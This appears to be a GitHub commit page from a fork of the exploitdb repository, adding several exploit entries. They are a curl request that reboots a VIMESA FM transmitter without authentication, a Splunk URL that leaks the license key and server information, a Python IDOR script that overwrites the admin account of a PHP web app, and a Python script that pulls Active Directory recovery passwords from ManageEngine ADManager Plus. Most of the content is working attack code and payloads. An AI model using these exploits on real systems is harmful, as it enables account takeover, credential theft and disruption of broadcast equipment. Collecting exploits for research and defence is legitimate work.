forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge remote-tracking branch 'upstream/main'
- Loading branch information
Showing
6 changed files
with
208 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,60 @@ | ||
| VIMESA VHF/FM Transmitter Blue Plus 9.7.1 (doreboot) Remote Denial Of Service | ||
|
|
||
|
|
||
| Vendor: Video Medios, S.A. (VIMESA) | ||
| Product web page: https://www.vimesa.es | ||
| Affected version: img:v9.7.1 Html:v2.4 RS485:v2.5 | ||
|
|
||
| Summary: The transmitter Blue Plus is designed with all | ||
| the latest technologies, such as high efficiency using | ||
| the latest generation LDMOS transistor and high efficiency | ||
| power supplies. We used a modern interface and performance | ||
| using a color display with touch screen, with easy management | ||
| software and easy to use. The transmitter is equipped with | ||
| all audio input including Audio IP for a complete audio | ||
| interface. The VHF/FM transmitter 30-1000 is intended | ||
| for the transmission of frequency modulated broadcasts | ||
| in mono or stereo. It work with broadband characteristics | ||
| in the VHF frequency range from 87.5-108 MHz and can be | ||
| operated with any frequency in this range withoug alignment. | ||
| The transmitter output power is variable between 10 and 110% | ||
| of the nominal Power. It is available with different remote | ||
| control ports. It can store up to six broadcast programs | ||
| including program specific parameters such as frequency, | ||
| RF output power, modulation type, RDS, AF level and deviation | ||
| limiting. The transmitter is equipped with a LAN interface | ||
| that permits the complete remote control of the transmitter | ||
| operation via SNMP or Web Server. | ||
|
|
||
| Desc: The device is suffering from a Denial of Service (DoS) | ||
| vulnerability. An unauthenticated attacker can issue an | ||
| unauthorized HTTP GET request to the unprotected endpoint | ||
| 'doreboot' and restart the transmitter operations. | ||
|
|
||
| Tested on: lighttpd/1.4.32 | ||
|
|
||
|
|
||
| Vulnerability discovered by Gjoko 'LiquidWorm' Krstic | ||
| @zeroscience | ||
|
|
||
|
|
||
| Advisory ID: ZSL-2023-5798 | ||
| Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5798.php | ||
|
|
||
|
|
||
| 22.07.2023 | ||
|
|
||
| -- | ||
|
|
||
|
|
||
| $ curl -v "http://192.168.3.11:5007/doreboot" | ||
| * Trying 192.168.3.11:5007... | ||
| * Connected to 192.168.3.11 (192.168.3.11) port 5007 (#0) | ||
| > GET /doreboot HTTP/1.1 | ||
| > Host: 192.168.3.11:5007 | ||
| > User-Agent: curl/8.0.1 | ||
| > Accept: */* | ||
| > | ||
| * Recv failure: Connection was reset | ||
| * Closing connection 0 | ||
| curl: (56) Recv failure: Connection was reset |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,14 @@ | ||
| # Exploit Title: Splunk 9.0.4 - Information Disclosure | ||
| # Date: 2023-09-18 | ||
| # Exploit Author: Parsa rezaie khiabanloo | ||
| # Vendor Homepage: https://www.splunk.com/ | ||
| # Version: 9.0.4 | ||
| # Tested on: Windows OS | ||
|
|
||
| # Splunk through 9.0.4 allows information disclosure by appending | ||
| # /__raw/services/server/info/server-info?output_mode=json to a query, | ||
| # as demonstrated by discovering a license key and other information. | ||
|
|
||
| # PoC : | ||
|
|
||
| https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,37 @@ | ||
| # Exploit Title: Lost and Found Information System v1.0 - idor leads to Account Take over | ||
| # Date: 2023-12-03 | ||
| # Exploit Author: OR4NG.M4N | ||
| # Category : webapps | ||
| # CVE : CVE-2023-38965 | ||
|
|
||
| Python p0c : | ||
|
|
||
| import argparse | ||
| import requests | ||
| import time | ||
| parser = argparse.ArgumentParser(description='Send a POST request to the target server') | ||
| parser.add_argument('-url', help='URL of the target', required=True) | ||
| parser.add_argument('-user', help='Username', required=True) | ||
| parser.add_argument('-password', help='Password', required=True) | ||
| args = parser.parse_args() | ||
|
|
||
|
|
||
| url = args.url + '/classes/Users.php?f=save' | ||
|
|
||
|
|
||
| data = { | ||
| 'id': '1', | ||
| 'firstname': 'or4ng', | ||
| 'middlename': '', | ||
| 'lastname': 'Admin', | ||
| 'username': args.user, | ||
| 'password': args.password | ||
| } | ||
|
|
||
| response = requests.post(url, data) | ||
| if b"1" in response.content: | ||
| print("Exploit ..") | ||
| time.sleep(1) | ||
| print("User :" + args.user + "\nPassword :" + args.password) | ||
| else: | ||
| print("Exploit Failed..") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,81 @@ | ||
| # Exploit Title: ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure | ||
| # Exploit Author: Metin Yunus Kandemir | ||
| # Vendor Homepage: https://www.manageengine.com/ | ||
| # Software Link: https://www.manageengine.com/products/ad-manager/ | ||
| # Details: https://docs.unsafe-inline.com/0day/manageengine-admanager-plus-build-less-than-7183-recovery-password-disclosure-cve-2023-31492 | ||
| # Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md | ||
| # Version: ADManager Plus Build < 7183 | ||
| # Tested against: Build 7180 | ||
| # CVE: CVE-2023-31492 | ||
|
|
||
| import argparse | ||
| import requests | ||
| import urllib3 | ||
| import sys | ||
|
|
||
| """ | ||
| The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover. | ||
| When deleted user accounts are restored, defined password is set to the user accounts. | ||
| Helpdesk technician that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment. | ||
| """ | ||
|
|
||
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
|
|
||
| def getPass(target, auth, user, password): | ||
| with requests.Session() as s: | ||
| if auth.lower() == 'admanager': | ||
| auth = 'ADManager Plus Authentication' | ||
| data = { | ||
| "is_admp_pass_encrypted": "false", | ||
| "j_username": user, | ||
| "j_password": password, | ||
| "domainName": auth, | ||
| "AUTHRULE_NAME": "ADAuthenticator" | ||
| } | ||
| # Login | ||
| url = target + 'j_security_check?LogoutFromSSO=true' | ||
| headers = { | ||
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0", | ||
| "Content-Type": "application/x-www-form-urlencoded" | ||
| } | ||
| req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False) | ||
| if 'Cookie' in req.request.headers: | ||
| print('[+] Authentication successful!') | ||
| elif req.status_code == 200: | ||
| print('[-] Invalid login name/password!') | ||
| sys.exit(0) | ||
| else: | ||
| print('[-] Something went wrong!') | ||
| sys.exit(1) | ||
|
|
||
| # Fetching recovery password | ||
| for i in range(1, 6): | ||
| print('[*] Trying to fetch recovery password for domainId: %s !' % i) | ||
| passUrl = target + 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' + str(i) + '%22%7D' | ||
| passReq = s.get(passUrl, headers=headers, allow_redirects=False, verify=False) | ||
| if passReq.content: | ||
| print(passReq.content) | ||
|
|
||
|
|
||
| def main(): | ||
| arg = get_args() | ||
| target = arg.target | ||
| auth = arg.auth | ||
| user = arg.user | ||
| password = arg.password | ||
| getPass(target, auth, user, password) | ||
|
|
||
|
|
||
| def get_args(): | ||
| parser = argparse.ArgumentParser( | ||
| epilog="Example: exploit.py -t https://target/ -a unsafe.local -u operator1 -p operator1") | ||
| parser.add_argument('-t', '--target', required=True, action='store', help='Target url') | ||
| parser.add_argument('-a', '--auth', required=True, action='store', | ||
| help='If you have credentials of the application user, type admanager. If you have credentials of the domain user, type domain DNS name of the target domain.') | ||
| parser.add_argument('-u', '--user', required=True, action='store') | ||
| parser.add_argument('-p', '--password', required=True, action='store') | ||
| args = parser.parse_args() | ||
| return args | ||
|
|
||
|
|
||
| main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters